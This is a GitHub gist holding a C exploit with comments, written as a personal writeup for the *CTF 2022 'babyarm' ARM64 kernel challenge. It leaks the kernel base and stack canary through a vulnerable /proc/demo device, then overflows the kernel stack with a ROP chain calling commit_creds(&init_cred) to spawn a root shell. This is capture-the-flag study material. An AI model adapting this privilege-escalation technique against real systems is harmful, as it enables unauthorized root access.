Skip to content

Instantly share code, notes, and snippets.

@xf1les
Last active April 28, 2022 12:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xf1les/017e3e504dc8ef897c918463bdd58cf8 to your computer and use it in GitHub Desktop.
Save xf1les/017e3e504dc8ef897c918463bdd58cf8 to your computer and use it in GitHub Desktop.
startCTF 2022 Pwn 题目 babyarm Writeup 和笔记(可以成功弹出 root shell)
/*
* Personal Writeup for *CTF 2022 PWN challenge babyarm
*
* Author: xf1les
*
* This EXP demonstrates a solution which can successfully pop a root shell rather than doing ORW (Open/Read/Write) to get flag
* (Reminder: I didn't solve this challenge during the event)
*
* ***
*
* ~ $ ./exp
* [*] 1. leaking...
* [+] kernelbase: 0xffffc7aa88a00000
* [+] canary: 0xd582376d3cfe7300
* [*] 2. stack overflowing...
* /home/pwn # id
* uid=0(root) gid=0
* /home/pwn #
*
* ***
*
* FYI:
* - Source code of the challenge: https://github.com/sixstars/starctf2022/tree/main/pwn-babyarm
* - The writeups from others:
* - https://xuanxuanblingbling.github.io/ctf/pwn/2022/04/19/babyarm/
* - https://bbs.pediy.com/thread-272397.htm
* - https://bbs.pediy.com/thread-272376.htm
*
* You can compile me with this command: `aarch64-linux-musl-gcc -static exp.c`
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void shell() {
// Setup argv[] to make busybox happy
char* argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
}
int main(int argc, char const *argv[])
{
/* Some memo for me to cross-compile an ARM64 kernel
*
* 1. Export `ARCH=arm64 CROSS_COMPILE="aarch64-linux-gnu-"` before any make commands
* 2. Disable anything except `ARMv8 software model (Versatile Express)` in `Platform selection` to save compiling time
* 3. Disable `CONFIG_ARM64_BTI*` (it makes kernel crash) and `CONFIG_ARM64_PTR_AUTH*` (exp kernel not enable this)
* 4. Remember to disable `Reduce debugging information` which is enabled by default in arm64 config
*
*/
char buf[0x1000] = {0};
/* BUG: stack overflow, OOB read / write can be performed */
int fd = open("/proc/demo", O_RDWR);
if (fd < 0) {
perror("open");
exit(-1);
}
printf("[*] 1. leaking...\n");
read(fd, buf, 0x300);
int64_t* p = (int64_t*)buf;
uint64_t canary = p[0x10];
uint64_t kernelbase = p[0x1e] - (0x20c0000022dd4b8-0x20c0000020b9000); // __arm64_sys_write
// weird ELF base and wrong symbol names (maybe vmlinux-to-elf BUG?)
printf("[+] kernelbase: 0x%llx\n", kernelbase);
printf("[+] canary: 0x%llx\n", canary);
// What are the fxxking offsets?
//~ memset(buf, 0, 0x1000);
//~ for(int i = 0; i < 0x300/8; i++)
//~ p[i] = i;
// 0x020c000002365ee0: ldr x0, [sp, #0x68]; ldp x29, x30, [sp], #0x90; ret;
//
// call commit_creds(&init_cred), then return to trampoline1
//
p[0x12] = kernelbase+(0x20c000002365ee0-0x20c0000020b9000); // trampoline0
p[0x22] = kernelbase+(0x20c000003de8cc0-0x20c0000020b9000); // init_cred
p[0x16] = kernelbase+(0x20c00000215b258-0x20c0000020b9000)+4; // commit_creds+4
// skip `stp x29, x30, [sp, #-0x30]!` by plusing 4
// to prevent corrupting our next return address
// 0x020c000002ea3f10: ldp x29, x30, [sp, #0x50]; ldp x19, x20, [sp, #0x60]; add sp, sp, #0x70; ret;
//
// sp+0x70, then return to ret_to_user()
//
// This is used to correct sp_el1 register (sp used in kernel mode) before returning to user mode,
// so CPU can restore the saved registers overwritten by execve() syscall handler from the correct location in kernel stack,
// preventing program crash caused by bad PC/SP vaule when returning from execve() syscall
//
p[0x28] = kernelbase+(0x20c000002ea3f10-0x20c0000020b9000); // trampoline1 (fixing sp)
p[0x38] = kernelbase+(0x20c0000020cafdc-0x20c0000020b9000); // ret_to_user
p[0x5b] = (int64_t)shell; // PC (elr_el1)
// Other register (SP, x0, x1...) use the old vaule in kernel stack
/* Memo: Registers needed to be taken care of when returning from kernel mode (el1) to user mode (el0)
*
* 1. sp_el0 : sp register used in user mode
* 2. sp_el1 : (see trampoline1)
* 3. elr_el1 : the return address
* 4. spsr_el1 : saved PSTATE (like CRx and FLAGS in x64), it seems OK to be set to zero
*
* AARCH64 use `eret` instruction to return to user mode
*
*/
printf("[*] 2. stack overflowing...\n");
// Control flow: trampoline0 -> commit_creds() -> trampoline1 -> ret_to_user() -> shell() in user mode
write(fd, buf, 0x300);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment